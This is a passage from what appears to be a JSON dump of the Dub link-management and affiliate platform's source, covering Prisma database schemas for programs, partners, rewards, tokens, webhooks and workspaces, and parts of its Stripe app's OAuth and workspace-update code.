    "content": "enum PlatformType {\n  website\n  youtube\n  twitter\n  linkedin\n  instagram\n  tiktok\n}\n\nmodel PartnerPlatform {\n  id            String       @id @default(cuid())\n  partnerId     String\n  type          PlatformType\n  identifier    String // The unique identifier for the platform (e.g., username for social platforms, domain for websites)\n  platformId    String? // Platform-specific immutable ID (e.g., YouTube channel ID)\n  avatarUrl     String?      @db.Text\n  subscribers   BigInt       @default(0) // Subscribers/followers for social platforms, also for newsletter subscribers\n  posts         BigInt       @default(0)\n  views         BigInt       @default(0) // Video views for YouTube, impressions for social platforms, pageviews for websites\n  metadata      Json?\n  createdAt     DateTime     @default(now())\n  updatedAt     DateTime     @updatedAt\n  verifiedAt    DateTime?\n  lastCheckedAt DateTime?\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@unique([partnerId, type])\n  @@index(type)\n}\n"
  },
  {
    "path": "packages/prisma/schema/postback.prisma",
    "content": "enum PostbackReceiver {\n  custom\n  slack\n}\n\nmodel Postback {\n  id         String           @id @default(cuid())\n  partnerId  String\n  name       String\n  url        String           @db.LongText\n  secret     String\n  triggers   Json\n  receiver   PostbackReceiver\n  disabledAt DateTime?\n  createdAt  DateTime         @default(now())\n  updatedAt  DateTime         @updatedAt\n\n  partner Partner @relation(fields: [partnerId], references: [id], onDelete: Cascade)\n\n  @@index(partnerId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/program.prisma",
    "content": "enum ProgramEnrollmentStatus {\n  pending // pending applications that need approval\n  approved // partner who has been approved/actively enrolled\n  rejected // program rejected the partner\n  invited // partner who has been invited\n  declined // partner declined the invite\n  deactivated // partner is deactivated by the program\n  banned // partner is banned from the program\n  archived // partner is archived by the program\n}\n\nenum PartnerBannedReason {\n  tos_violation\n  inappropriate_content\n  fake_traffic\n  fraud\n  spam\n  brand_abuse\n}\n\nenum ProgramPayoutMode {\n  internal // All payouts are handled by Dub\n  hybrid // Partners with payouts enabled are paid by Dub, others via external\n  external // All payouts are processed through external\n}\n\nmodel Program {\n  id                 String            @id @default(cuid())\n  workspaceId        String\n  defaultFolderId    String\n  defaultGroupId     String\n  name               String\n  slug               String            @unique\n  domain             String?           @unique\n  url                String?\n  logo               String?\n  description        String?           @db.Text\n  primaryRewardEvent EventType         @default(sale)\n  minPayoutAmount    Int               @default(0) // Default minimum payout amount of $0\n  payoutMode         ProgramPayoutMode @default(internal)\n\n  inviteEmailData          Json?   @db.Json\n  embedData                Json?   @db.Json\n  resources                Json?   @db.Json\n  referralFormData         Json?   @db.Json\n  applicationRequirements  Json?   @db.Json\n  termsUrl         String? @db.Text\n  helpUrl          String? @db.Text\n  supportEmail     String?\n\n  messagingEnabledAt      DateTime?\n  partnerNetworkEnabledAt DateTime?\n  createdAt               DateTime  @default(now())\n  updatedAt               DateTime  @updatedAt\n  startedAt               DateTime?\n  deactivatedAt           DateTime?\n\n  addedToMarketplaceAt    DateTime?\n  featuredOnMarketplaceAt DateTime?\n  marketplaceHeaderImage  String?\n  marketplaceRanking      Int       @default(2147483647)\n\n  workspace                Project                   @relation(fields: [workspaceId], references: [id])\n  customDomain             Domain?                   @relation(fields: [domain], references: [slug])\n  partners                 ProgramEnrollment[]\n  payouts                  Payout[]\n  invoices                 Invoice[]\n  applications             ProgramApplication[]\n  links                    Link[]\n  customers                Customer[]\n  commissions              Commission[]\n  rewards                  Reward[]\n  discounts                Discount[]                @relation(\"ProgramDiscounts\")\n  discountCodes            DiscountCode[]\n  groups                   PartnerGroup[]\n  partnerGroupDefaultLinks PartnerGroupDefaultLink[]\n  bounties                 Bounty[]\n  bountySubmissions        BountySubmission[]\n  workflows                Workflow[]\n  messages                 Message[]\n  comments                 PartnerComment[]\n  campaigns                Campaign[]\n  emailDomains             EmailDomain[]\n  discoveredPartners       DiscoveredPartner[]\n  similarPrograms          ProgramSimilarity[]\n  similarToPrograms        ProgramSimilarity[]       @relation(\"SimilarProgram\")\n  categories               ProgramCategory[]\n  fraudRules               FraudRule[]\n  fraudEventGroups         FraudEventGroup[]\n  sourceFraudEvents        FraudEvent[]              @relation(\"SourceFraudEvents\")\n  referrals                PartnerReferral[]\n\n  @@index(workspaceId)\n  @@index(addedToMarketplaceAt)\n}\n\nmodel ProgramEnrollment {\n  id            String                  @id @default(cuid())\n  partnerId     String\n  programId     String\n  tenantId      String?\n  groupId       String?\n  applicationId String?                 @unique\n  clickRewardId String?\n  leadRewardId  String?\n  saleRewardId  String?\n  discountId    String?\n  status        ProgramEnrollmentStatus @default(pending)\n\n  // partner stats\n  totalClicks      Int    @default(0) // total clicks\n  totalLeads       Int    @default(0) // total leads\n  totalConversions Int    @default(0) // total conversions\n  totalSales       Int    @default(0) // total sales\n  totalSaleAmount  BigInt @default(0) // total sale amount (in cents)\n  totalCommissions BigInt @default(0) // total commissions earned by the partner (in cents)\n\n  // calculated stats\n  netRevenue              BigInt    @default(0) // totalSaleAmount - totalCommissions\n  earningsPerClick        Float     @default(0) // totalSaleAmount / totalClicks\n  averageLifetimeValue    Float? // totalSaleAmount / totalConversions (in cents)\n  clickToLeadRate         Float? // totalLeads / totalClicks\n  clickToConversionRate   Float? // totalConversions / totalClicks\n  leadToConversionRate    Float? // totalConversions / totalLeads\n  returnOnAdSpend         Float? // totalSaleAmount / totalCommissions\n  lastConversionAt        DateTime? // latest conversion from partner's links\n  daysSinceLastConversion Int? // days since lastConversionAt\n  consistencyScore        Int? // based on daysSinceLastConversion\n\n  createdAt                    DateTime             @default(now())\n  updatedAt                    DateTime             @updatedAt\n  customerDataSharingEnabledAt DateTime?\n  groupMoveDisabledAt          DateTime?\n  bannedAt                     DateTime?\n  bannedReason                 PartnerBannedReason?\n\n  partner           Partner             @relation(fields: [partnerId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  program           Program             @relation(fields: [programId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  links             Link[]\n  customers         Customer[]\n  partnerGroup      PartnerGroup?       @relation(fields: [groupId], references: [id])\n  application       ProgramApplication? @relation(fields: [applicationId], references: [id])\n  clickReward       Reward?             @relation(\"ClickRewardEnrollments\", fields: [clickRewardId], references: [id])\n  leadReward        Reward?             @relation(\"LeadRewardEnrollments\", fields: [leadRewardId], references: [id])\n  saleReward        Reward?             @relation(\"SaleRewardEnrollments\", fields: [saleRewardId], references: [id])\n  discount          Discount?           @relation(fields: [discountId], references: [id])\n  bountySubmissions BountySubmission[]\n  discountCodes     DiscountCode[]\n  commissions       Commission[]\n  payouts           Payout[]\n  messages          Message[]\n  fraudEventGroups  FraudEventGroup[]\n  referrals         PartnerReferral[]\n\n  // unique constraints\n  @@unique([partnerId, programId])\n  @@unique([tenantId, programId])\n  // indexes for sorting partners\n  @@index([programId, status, totalClicks])\n  @@index([programId, status, totalLeads])\n  @@index([programId, status, totalConversions])\n  @@index([programId, status, totalSaleAmount])\n  @@index([programId, status, totalCommissions])\n  @@index([programId, status, netRevenue])\n  @@index([programId, status, earningsPerClick])\n  @@index([programId, status, averageLifetimeValue])\n  @@index([programId, status, clickToLeadRate])\n  @@index([programId, status, clickToConversionRate])\n  @@index([programId, status, leadToConversionRate])\n  @@index([programId, status, returnOnAdSpend])\n  // other indexes\n  @@index([programId, groupId])\n  @@index([groupId, status])\n  @@index(clickRewardId)\n  @@index(leadRewardId)\n  @@index(saleRewardId)\n  @@index(discountId)\n}\n\nmodel ProgramApplication {\n  id        String   @id @default(cuid())\n  programId String\n  groupId   String?\n  name      String\n  email     String\n  country   String?\n  website   String?  @db.Text\n  youtube   String?  @db.Text\n  twitter   String?  @db.Text\n  linkedin  String?  @db.Text\n  instagram String?  @db.Text\n  tiktok    String?  @db.Text\n  formData  Json?    @db.Json\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  program      Program            @relation(fields: [programId], references: [id])\n  partnerGroup PartnerGroup?      @relation(fields: [groupId], references: [id])\n  enrollment   ProgramEnrollment?\n\n  @@index(programId)\n  @@index(groupId)\n  @@index(email)\n}\n"
  },
  {
    "path": "packages/prisma/schema/referral.prisma",
    "content": "enum ReferralStatus {\n  pending\n  qualified\n  meeting\n  negotiation\n  unqualified\n  closedWon\n  closedLost\n}\n\nmodel PartnerReferral {\n  id         String         @id @default(cuid())\n  programId  String\n  partnerId  String\n  customerId String?\n  name       String\n  email      String\n  company    String\n  formData   Json?          @db.Json\n  status     ReferralStatus @default(pending)\n  createdAt  DateTime       @default(now())\n  updatedAt  DateTime       @updatedAt\n\n  program           Program           @relation(fields: [programId], references: [id])\n  partner           Partner           @relation(fields: [partnerId], references: [id])\n  programEnrollment ProgramEnrollment @relation(fields: [programId, partnerId], references: [programId, partnerId])\n  customer          Customer?         @relation(fields: [customerId], references: [id])\n\n  @@index([programId, partnerId])\n  @@index(partnerId)\n  @@index(customerId)\n  @@fulltext([email, name])\n}\n"
  },
  {
    "path": "packages/prisma/schema/reward.prisma",
    "content": "enum EventType {\n  click\n  lead\n  sale\n}\n\nenum RewardStructure {\n  percentage\n  flat\n}\n\nmodel Reward {\n  id                 String          @id @default(cuid())\n  programId          String\n  description        String?\n  tooltipDescription String?         @db.Text\n  event              EventType\n  type               RewardStructure @default(percentage)\n  amountInCents      Int?\n  amountInPercentage Decimal?        @db.Decimal(5, 2)\n  maxDuration        Int? // in months (0 -> not recurring, null -> infinite)\n  modifiers          Json?           @db.Json\n  createdAt          DateTime        @default(now())\n  updatedAt          DateTime        @updatedAt\n\n  program           Program             @relation(fields: [programId], references: [id])\n  clickEnrollments  ProgramEnrollment[] @relation(\"ClickRewardEnrollments\")\n  leadEnrollments   ProgramEnrollment[] @relation(\"LeadRewardEnrollments\")\n  saleEnrollments   ProgramEnrollment[] @relation(\"SaleRewardEnrollments\")\n  clickPartnerGroup PartnerGroup?       @relation(\"ClickReward\")\n  leadPartnerGroup  PartnerGroup?       @relation(\"LeadReward\")\n  salePartnerGroup  PartnerGroup?       @relation(\"SaleReward\")\n  commissions       Commission[]\n\n  @@index([programId, event])\n  @@index(event) // used in aggregate-clicks cron job\n}\n"
  },
  {
    "path": "packages/prisma/schema/schema.prisma",
    "content": "datasource db {\n  provider     = \"mysql\"\n  url          = env(\"DATABASE_URL\")\n  relationMode = \"prisma\"\n}\n\ngenerator client {\n  provider = \"prisma-client-js\"\n}\n\nmodel User {\n  id            String    @id @default(cuid())\n  name          String?\n  email         String?   @unique\n  emailVerified DateTime?\n  image         String?\n  isMachine     Boolean   @default(false)\n  createdAt     DateTime  @default(now())\n\n  // password & security fields\n  passwordHash         String?\n  invalidLoginAttempts Int       @default(0)\n  lockedAt             DateTime?\n\n  // user preferences\n  defaultWorkspace String? // slug of the user's default workspace\n  defaultPartnerId String? // the user's default partner ID\n\n  // internal fields\n  source   String? // where the user came from\n  sentMail Boolean @default(false)\n\n  // relational data\n  accounts                Account[]\n  sessions                Session[]\n  notificationPreferences UserNotificationPreferences?\n  projects                ProjectUsers[]\n  partners                PartnerUser[]\n  links                   Link[]\n  dashboards              Dashboard[]\n  tokens                  Token[]\n  restrictedTokens        RestrictedToken[]\n  oAuthCodes              OAuthCode[]\n  integrations            Integration[] // Integrations user created in their workspace\n  installedIntegrations   InstalledIntegration[] // Integrations user installed in their workspace\n  folders                 FolderUser[]\n  folderAccessRequests    FolderAccessRequest[]\n  utmTemplates            UtmTemplate[]\n  payouts                 Payout[]\n  bountySubmissions       BountySubmission[]\n  sentMessages            Message[]\n  partnerComments         PartnerComment[]\n  fraudEventGroups        FraudEventGroup[]\n  activityLogs            ActivityLog[]\n  createdCommissions     Commission[]\n\n  @@index(sentMail)\n  @@index(source)\n  @@index(defaultWorkspace)\n}\n\nmodel Account {\n  id                       String  @id @default(cuid())\n  userId                   String\n  type                     String\n  provider                 String\n  providerAccountId        String\n  refresh_token            String? @db.Text\n  refresh_token_expires_in Int?\n  access_token             String? @db.Text\n  expires_at               Int?\n  token_type               String?\n  scope                    String?\n  id_token                 String? @db.Text\n  session_state            String?\n\n  user User @relation(fields: [userId], references: [id], onDelete: Cascade)\n\n  @@unique([provider, providerAccountId])\n  @@index([userId])\n}\n\nmodel Session {\n  id           String   @id @default(cuid())\n  sessionToken String   @unique\n  userId       String\n  expires      DateTime\n  user         User     @relation(fields: [userId], references: [id], onDelete: Cascade)\n\n  @@index([userId])\n}\n"
  },
  {
    "path": "packages/prisma/schema/tag.prisma",
    "content": "model Tag {\n  id        String    @id @default(cuid())\n  name      String\n  color     String    @default(\"blue\")\n  createdAt DateTime  @default(now())\n  updatedAt DateTime  @updatedAt\n  project   Project   @relation(fields: [projectId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  projectId String\n  links     LinkTag[]\n\n  @@unique([name, projectId])\n  @@index(projectId)\n}\n\nmodel LinkTag {\n  id        String   @id @default(cuid())\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n  link      Link     @relation(fields: [linkId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  linkId    String\n  tag       Tag      @relation(fields: [tagId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  tagId     String\n\n  @@unique([linkId, tagId])\n  @@index(tagId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/token.prisma",
    "content": "model Token {\n  id         String    @id @default(cuid())\n  name       String\n  hashedKey  String    @unique\n  partialKey String\n  expires    DateTime?\n  lastUsed   DateTime?\n  createdAt  DateTime  @default(now())\n  updatedAt  DateTime  @updatedAt\n  user       User      @relation(fields: [userId], references: [id], onDelete: Cascade)\n  userId     String\n\n  @@index([userId])\n}\n\nmodel RestrictedToken {\n  id             String    @id @default(cuid())\n  name           String\n  hashedKey      String    @unique\n  partialKey     String\n  scopes         String? // space separated (Eg: \"links.write domains.read\")\n  expires        DateTime?\n  lastUsed       DateTime?\n  createdAt      DateTime  @default(now())\n  updatedAt      DateTime  @updatedAt\n  userId         String\n  projectId      String\n  installationId String? // if the token is generated by an OAuth client\n\n  user                 User                  @relation(fields: [userId], references: [id], onDelete: Cascade)\n  project              Project               @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  refreshTokens        OAuthRefreshToken[]\n  installedIntegration InstalledIntegration? @relation(fields: [installationId], references: [id], onDelete: Cascade)\n\n  @@index([userId])\n  @@index([projectId])\n  @@index([installationId])\n}\n\n// Login tokens\nmodel VerificationToken {\n  identifier String\n  token      String   @unique\n  expires    DateTime\n\n  @@unique([identifier, token])\n}\n\n// Email verification OTPs\nmodel EmailVerificationToken {\n  identifier String\n  token      String   @unique\n  expires    DateTime\n\n  @@unique([identifier, token])\n}\n\n// Password reset tokens\nmodel PasswordResetToken {\n  identifier String\n  token      String   @unique\n  expires    DateTime\n\n  @@unique([identifier, token])\n}\n"
  },
  {
    "path": "packages/prisma/schema/utm.prisma",
    "content": "model UtmTemplate {\n  id   String @id @default(cuid())\n  name String\n\n  // Parameters\n  utm_source   String?\n  utm_medium   String?\n  utm_campaign String?\n  utm_term     String?\n  utm_content  String?\n  ref          String?\n\n  // User who created the template\n  user   User?   @relation(fields: [userId], references: [id])\n  userId String?\n\n  // Project that the template belongs to\n  project   Project? @relation(fields: [projectId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  projectId String?\n\n  createdAt DateTime @default(now())\n  updatedAt DateTime @updatedAt\n\n  partnerGroup PartnerGroup?\n\n  @@unique([projectId, name])\n  @@index(userId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/webhook.prisma",
    "content": "enum WebhookReceiver {\n  user\n  zapier\n  make\n  slack\n  segment\n}\n\nmodel Webhook {\n  id                  String          @id @default(cuid())\n  projectId           String\n  installationId      String? // indicates which integration installation added the webhook\n  receiver            WebhookReceiver @default(user)\n  name                String\n  url                 String          @db.LongText\n  secret              String\n  triggers            Json\n  consecutiveFailures Int             @default(0)\n  lastFailedAt        DateTime?\n  disabledAt          DateTime?\n  createdAt           DateTime        @default(now())\n  updatedAt           DateTime        @updatedAt\n\n  project              Project               @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  installedIntegration InstalledIntegration? @relation(fields: [installationId], references: [id], onDelete: Cascade)\n  links                LinkWebhook[]\n\n  @@index(projectId)\n  @@index(installationId)\n}\n\nmodel LinkWebhook {\n  id        String @id @default(cuid())\n  linkId    String\n  webhookId String\n\n  link    Link    @relation(fields: [linkId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n  webhook Webhook @relation(fields: [webhookId], references: [id], onUpdate: Cascade, onDelete: Cascade)\n\n  @@unique([linkId, webhookId])\n  @@index(webhookId)\n}\n"
  },
  {
    "path": "packages/prisma/schema/workflow.prisma",
    "content": "enum WorkflowTrigger {\n  partnerEnrolled // scheduled\n  partnerMetricsUpdated\n\n  // TODO: Remove this after migrations\n  clickRecorded\n  commissionEarned\n  leadRecorded\n  saleRecorded\n}\n\nmodel Workflow {\n  id                String          @id @default(cuid())\n  programId         String\n  name              String?\n  trigger           WorkflowTrigger\n  triggerConditions Json\n  actions           Json\n  disabledAt        DateTime?\n  createdAt         DateTime        @default(now())\n  updatedAt         DateTime        @updatedAt\n\n  program      Program       @relation(fields: [programId], references: [id], onDelete: Cascade)\n  bounty       Bounty?\n  campaign     Campaign?\n  partnerGroup PartnerGroup?\n\n  @@index([programId, trigger])\n}\n"
  },
  {
    "path": "packages/prisma/schema/workspace.prisma",
    "content": "model Project {\n  id               String  @id @default(cuid())\n  name             String\n  slug             String  @unique\n  logo             String?\n  inviteCode       String? @unique\n  defaultProgramId String? @unique // default affiliate program ID for the workspace\n\n  plan              String    @default(\"free\")\n  planTier          Int       @default(1)\n  stripeId          String?   @unique // Stripe subscription ID\n  billingCycleStart Int // day of the month when the billing cycle starts\n  paymentFailedAt   DateTime?\n  invoicePrefix     String?   @unique // prefix used to generate unique invoice numbers (for Dub Payouts)\n\n  stripeConnectId String? @unique // for Stripe Integration\n  shopifyStoreId  String? @unique // for Shopify Integration\n\n  totalLinks  Int @default(0) // Total number of links in the workspace\n  totalClicks Int @default(0) // Total number of clicks in the workspace\n\n  usage                Int   @default(0)\n  usageLimit           Int   @default(1000)\n  linksUsage           Int   @default(0)\n  linksLimit           Int   @default(25)\n  payoutsUsage         Int   @default(0)\n  payoutsLimit         Int   @default(0)\n  payoutFee            Float @default(0.05) // processing fee (in decimals) for partner payouts\n  payoutFeeWaiverLimit Int   @default(0) // amount in cents for which the payout fee will be waived\n  payoutFeeWaiverUsage Int   @default(0) // how much of payoutFeeWaiverLimit has been used\n\n  domainsLimit        Int @default(3)\n  tagsLimit           Int @default(5)\n  foldersUsage        Int @default(0)\n  foldersLimit        Int @default(0)\n  groupsLimit         Int @default(0)\n  usersLimit          Int @default(1)\n  aiUsage             Int @default(0)\n  aiLimit             Int @default(10)\n  networkInvitesLimit Int @default(0)\n\n  referralLinkId  String? @unique\n  referredSignups Int     @default(0)\n\n  store            Json? // General key-value store for things like persisting toggles, dismissing popups, etc.\n  allowedHostnames Json?\n  publishableKey   String? @unique // for the client-side publishable key\n\n  conversionEnabled      Boolean @default(false) // Whether to enable conversion tracking for links by default\n  webhookEnabled         Boolean @default(false)\n  dotLinkClaimed         Boolean @default(false)\n  fastDirectDebitPayouts Boolean @default(false)\n\n  ssoEmailDomain   String?   @unique\n  ssoEnforcedAt    DateTime?\n  createdAt        DateTime  @default(now())\n  updatedAt        DateTime  @updatedAt\n  usageLastChecked DateTime  @default(now())\n\n  users                 ProjectUsers[]\n  invites               ProjectInvite[]\n  sentEmails            SentEmail[]\n  links                 Link[]\n  domains               Domain[]\n  tags                  Tag[]\n  programs              Program[]\n  invoices              Invoice[]\n  customers             Customer[]\n  defaultDomains        DefaultDomains[]\n  restrictedTokens      RestrictedToken[]\n  oAuthCodes            OAuthCode[]\n  integrations          Integration[] // Integrations workspace published\n  installedIntegrations InstalledIntegration[] // Integrations workspace installed\n  webhooks              Webhook[]\n  folders               Folder[]\n  registeredDomains     RegisteredDomain[]\n  dashboards            Dashboard[]\n  utmTemplates          UtmTemplate[]\n  yearInReviews         YearInReview[]\n\n  @@index(usageLastChecked(sort: Asc))\n}\n\nenum WorkspaceRole {\n  owner\n  member\n  viewer\n  billing\n}\n\nmodel ProjectInvite {\n  email     String\n  expires   DateTime\n  project   Project       @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  projectId String\n  role      WorkspaceRole @default(member)\n  createdAt DateTime      @default(now())\n\n  @@unique([email, projectId])\n  @@index([projectId])\n}\n\nmodel ProjectUsers {\n  id                     String                  @id @default(cuid())\n  role                   WorkspaceRole           @default(member)\n  userId                 String\n  projectId              String\n  notificationPreference NotificationPreference?\n  workspacePreferences   Json?\n  defaultFolderId        String?\n  createdAt              DateTime                @default(now())\n  updatedAt              DateTime                @updatedAt\n\n  user    User    @relation(fields: [userId], references: [id], onDelete: Cascade)\n  project Project @relation(fields: [projectId], references: [id], onDelete: Cascade)\n\n  @@unique([userId, projectId])\n  @@index([projectId])\n}\n\n// TODO: could potentially combine this with NotificationEmail in the future?\nmodel SentEmail {\n  id        String   @id @default(cuid())\n  type      String\n  createdAt DateTime @default(now())\n  project   Project? @relation(fields: [projectId], references: [id], onDelete: Cascade)\n  projectId String?\n\n  @@index([projectId])\n}\n"
  },
  {
    "path": "packages/prisma/tsconfig.json",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/tsconfig\",\n  \"display\": \"Default\",\n  \"compilerOptions\": {\n    \"composite\": false,\n    \"declaration\": true,\n    \"declarationMap\": true,\n    \"esModuleInterop\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"inlineSources\": false,\n    \"isolatedModules\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"Bundler\",\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"preserveWatchOutput\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true\n  },\n  \"include\": [\n    \"**/*.ts\",\n  ],\n  \"exclude\": [\n    \"node_modules\"\n  ]\n}"
  },
  {
    "path": "packages/stripe-app/README.md",
    "content": "# Stripe App\n\nThis is the [Stripe app](https://marketplace.stripe.com/apps/dub-conversions) for Dub Conversions.\n\n## Publish new version\n\n1. Run `stripe login` in your terminal and sign in to `Dub Technologies, Inc.`.\n2. Navigate to the `packages/stripe-app` directory.\n3. Increment the `version` field in `stripe-app.json`.\n4. Upload the updated app using `stripe apps upload`.\n5. Publish the new version via the [Stripe dashboard](https://dashboard.stripe.com/apps/dub.co).\n\n## Run locally\n\n```\nstripe apps start\n```\n"
  },
  {
    "path": "packages/stripe-app/jest.config.js",
    "content": "/* eslint-env node */\n/* eslint-disable @typescript-eslint/no-var-requires */\nconst UIExtensionsConfig = require(\"@stripe/ui-extension-tools/jest.config.ui-extension\");\n\nmodule.exports = {\n  ...UIExtensionsConfig,\n};\n"
  },
  {
    "path": "packages/stripe-app/package.json",
    "content": "{\n  \"name\": \"com.example.dub\",\n  \"version\": \"0.0.5\",\n  \"description\": \"Dub Conversions\",\n  \"private\": true,\n  \"license\": \"~~proprietary~~\",\n  \"dependencies\": {\n    \"@stripe/ui-extension-sdk\": \"^8.8.1\",\n    \"react\": \"19.1.3\",\n    \"react-dom\": \"19.1.3\",\n    \"stripe\": \"^13.11.0\"\n  },\n  \"engines\": {\n    \"node\": \">=14\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"./node_modules/@stripe/ui-extension-tools/eslintrc.ui-extension.js\"\n    ]\n  },\n  \"scripts\": {\n    \"lint\": \"eslint --ext ts,tsx src\",\n    \"test\": \"jest\"\n  },\n  \"resolutions\": {\n    \"@types/react\": \"^17.0.2\"\n  },\n  \"devDependencies\": {\n    \"@stripe/ui-extension-tools\": \"^0.0.1\",\n    \"@types/react\": \"19.1.3\",\n    \"@types/react-dom\": \"19.1.3\"\n  }\n}\n"
  },
  {
    "path": "packages/stripe-app/src/hooks/use-workspace.ts",
    "content": "import { useCallback, useEffect, useState } from \"react\";\nimport Stripe from \"stripe\";\nimport { getSecret } from \"../utils/secrets\";\nimport { Workspace } from \"../utils/types\";\n\n// Retrieve the workspace from the secrets\nexport const useWorkspace = (stripe: Stripe) => {\n  const [workspace, setWorkspace] = useState<Workspace | null>(null);\n  const [isLoading, setIsLoading] = useState(true);\n\n  const loadWorkspace = useCallback(async () => {\n    setIsLoading(true);\n    const fetchedWorkspace = await fetchWorkspace({ stripe });\n    setWorkspace(fetchedWorkspace);\n    setIsLoading(false);\n  }, [stripe]);\n\n  useEffect(() => {\n    loadWorkspace();\n  }, [loadWorkspace]);\n\n  return {\n    workspace,\n    isLoading,\n    mutate: loadWorkspace,\n  };\n};\n\nasync function fetchWorkspace({ stripe }: { stripe: Stripe }) {\n  const workspace = await getSecret<Workspace>({\n    stripe,\n    name: \"dub_workspace\",\n  });\n\n  return workspace;\n}\n"
  },
  {
    "path": "packages/stripe-app/src/utils/constants.ts",
    "content": "import { StripeMode } from \"./types\";\n\n// Dub\nexport const DUB_CLIENT_ID =\n  \"dub_app_517290377fe6b4dfcc8726a7061ba9b6da1c4d7d7d75f77a\";\nexport const DUB_HOST = \"https://app.dub.co\";\nexport const DUB_API_HOST = \"https://api.dub.co\";\n\n// Stripe\nexport const STRIPE_MODE: StripeMode = \"live\";\nexport const STRIPE_REDIRECT_URL = `https://dashboard.stripe.com/${STRIPE_MODE === \"live\" ? \"\" : \"test/\"}apps-oauth/dub.co`;\n"
  },
  {
    "path": "packages/stripe-app/src/utils/dub.ts",
    "content": "import { DUB_API_HOST } from \"./constants\";\nimport { Token } from \"./types\";\n\n// Update the workspace with stripeAccountId\nexport async function updateWorkspace({\n  token,\n  accountId,\n}: {\n  token: Token;\n  accountId: string | null;\n}) {\n  const response = await fetch(`${DUB_API_HOST}/stripe/integration`, {\n    method: \"PATCH\",\n    headers: {\n      Authorization: `Bearer ${token.access_token}`,\n    },\n    body: JSON.stringify({\n      stripeAccountId: accountId,\n    }),\n  });\n\n  if (!response.ok) {\n    const data = await response.json();\n\n    throw new Error(\"Failed to update workspace.\", {\n      cause: data.error,\n    });\n  }\n}\n"
  },
  {
    "path": "packages/stripe-app/src/utils/oauth.ts",
    "content": "import Stripe from \"stripe\";\nimport {\n  DUB_API_HOST,\n  DUB_CLIENT_ID,\n  DUB_HOST,\n  STRIPE_REDIRECT_URL,\n} from \"./constants\";\nimport { getSecret, setSecret } from \"./secrets\";\nimport { Token, Workspace } from \"./types\";\n\n// Returns the authorization URL\nexport function getOAuthUrl({\n  state,\n  challenge,\n}: {\n  state: string;\n  challenge: string;\n}) {\n  const searchParams = {\n    client_id: DUB_CLIENT_ID,\n    redirect_uri: STRIPE_REDIRECT_URL,\n    response_type: \"code\",\n    code_challenge: challenge,\n    code_challenge_method: \"S256\",\n    state,\n  };\n\n  return `${DUB_HOST}/oauth/authorize?${new URLSearchParams(searchParams).toString()}`;\n}\n\n// Exchanges the authorization code for an access token\nexport async function getToken({\n  code,\n  verifier,\n}: {\n  code: string;\n  verifier: string;\n}) {\n  const url = `${DUB_API_HOST}/oauth/token`;\n\n  try {\n    const response = await fetch(url, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: new URLSearchParams({\n        client_id: DUB_CLIENT_ID,\n        redirect_uri: STRIPE_REDIRECT_URL,\n        grant_type: \"authorization_code\",\n        code_verifier: verifier,\n        code,\n      }),\n    });\n\n    const data = await response.json();\n\n    if (!response.ok) {\n      throw new Error(data.error.message);\n    }\n\n    return data as Token;\n  } catch (e) {\n    console.error(\"Unable to retrieve Dub access token:\", (e as Error).message);\n  }\n}\n\n// Returns the user info from Dub using the access token\nexport async function getUserInfo({ token }: { token: Token }) {\n  const response = await fetch(`${DUB_API_HOST}/oauth/userinfo`, {\n    headers: {\n      Authorization: `Bearer ${token.access_token}`,\n    },\n  });\n\n  const data = await response.json();\n\n  if (!response.ok) {\n    throw new Error(\"Failed to fetch user info from Dub.\", {\n      cause: data.error,\n    });\n  }\n\n  const { workspace } = data as { workspace: Workspace };\n\n  return workspace;\n}\n\n// If the token is expired, it will refresh it\nexport async function getValidToken({ stripe }: { stripe: Stripe }) {\n  const token = await getSecret<Token>({\n    stripe,\n    name: \"dub_token\",\n  });\n\n  if (!token) {\n    throw new Error(\"Access token not found for the account.\");\n  }\n\n  try {\n    await getUserInfo({ token });\n  } catch (e) {\n    const refreshedToken = await refreshToken({ token });\n\n    if (!refreshedToken) {\n      console.error(\"Failed to refresh access token.\");\n      return null;\n    }\n\n    await setSecret({\n      stripe,\n      name: \"dub_token\",\n      payload: JSON.stringify(refreshedToken),\n    });\n\n    return refreshedToken;\n  }\n\n  return token;\n}\n\nexport async function refreshToken({ token }: { token: Token }) {\n  const url = `${DUB_API_HOST}/oauth/token`;\n\n  try {\n    const response = await fetch(url, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      body: new URLSearchParams({\n        client_id: DUB_CLIENT_ID,\n        grant_type: \"refresh_token\",\n        refresh_token: token.refresh_token,\n      }),\n    });\n\n    const data = await response.json();\n\n    if (!response.ok) {\n      throw new Error(data.error.message);\n    }\n\n    return data as Token;\n  } catch (e) {\n    console.error(\"Unable to refresh Dub access token:\", (e as Error).message);\n  }\n}\n"
  },
  {
    "path": "packages/stripe-app/src/utils/secrets.ts",
